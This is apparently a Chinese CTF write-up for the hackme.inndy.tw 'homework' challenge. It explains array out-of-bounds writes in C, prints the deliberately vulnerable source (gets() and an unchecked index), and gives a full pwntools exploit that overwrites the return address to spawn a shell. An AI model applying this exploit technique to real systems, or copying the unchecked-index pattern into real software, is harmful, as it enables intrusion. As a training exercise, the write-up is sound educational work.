天天看點

數組下标越界

原理:因為c語言不會檢測數組下标,是以如果我們給數組一個超出它大小的下标,就會照成數組越界。如果是想數組中寫入資料的話,就會造成資料寫入到不屬于數組的地方,或者說如果讀取資料的話,就會讀取到别的地方的資料。

因為數組位址是自低往高增長,而棧的位址是自高向下降低,是以如果我們将數組下标根據棧内的空間的分布,設定為特定的值,就可以修改或者是檢視我們想要檢視的位址的值。比如将傳回位址設定成我們想要調用函數的位址。

具體可以看一下這篇部落格:https://blog.csdn.net/human_evolution/article/details/40752047

題目:homework (hackme.inndy.tw)

hint: Index out  bound ,return address ,并且給了程式源碼

題目防護機制:

數組下标越界

開啟了NX和Canary

源碼為:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char name[1024];

void call_me_maybe()
{
    system("/bin/sh");
}

void unbuffer_io()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void set_timeout()
{
    alarm(120);
}

void ask_name()
{
    printf("What's your name? ");
    gets(name);
}

void say_goodbye()
{
    printf("Goodbye, %s\n", name);
}

void run_program()
{
    int arr[10], i, v, act;

    for(i = 0; i < 10; i++)
        arr[i] = 0;

    while(1) {
        puts("0 > exit");
        puts("1 > edit number");
        puts("2 > show number");
        puts("3 > sum");
        puts("4 > dump all numbers");
        printf(" > ");
        scanf("%d", &act);

        switch(act) {
            case 0:
                return;
            case 1:
                printf("Index to edit: ");
                scanf("%d", &i);
                printf("How many? ");
                scanf("%d", &v);
                arr[i] = v;
                break;
            case 2:
                printf("Index to show: ");
                scanf("%d", &i);
                printf("arr[%d] is %d\n", i, arr[i]);
                break;
            case 3:
                v = 0;
                for(i = 0; i < 10; i++)
                    v += arr[i];
                printf("Sum is %d\n", v);
                break;
            case 4:
                for(i = 0; i < 10; i++)
                    printf("arr[%d] is %d\n", i, arr[i]);
                break;
        }
    }
}

int main()
{
    set_timeout();
    unbuffer_io();
    ask_name();
    run_program();
    say_goodbye();
    return 0;
}
           

程式邏輯:

程式要求輸入一個使用者名,然後就執行run_program函數 

我們可以輸入一個數組下标和值來改變數組的值

源碼裡有個函數調用了system函數,結合hint中的retrunaddress 可以猜測是要将傳回位址覆寫成call_me_maybe這個函數的位址 來擷取shell

因為題目開啟了Canary ,是以不能直接棧溢出來覆寫傳回位址

hint 還給了index out bound 

結合題目源碼沒有對數組下标進行限制,是以我們可以用數組越界來修改傳回位址

數組下标越界

數組在棧中的位置是0x34,和傳回位址的距離是0x34+8

是以輸入的數組下标為14 

exp:

from pwn import*
context.log_level="debug"
#p = process('./homework')
p = remote('hackme.inndy.tw', 7701)
p.recvuntil("What's your name?")
p.sendline('aaaa')

p.recvuntil(" > ")
p.sendline("1")

p.recv()
p.sendline("14")

p.recvuntil("How many?")
p.sendline(str(0x080485fb))

p.sendline("0")#make program return to target function

p.interactive()
           
PWN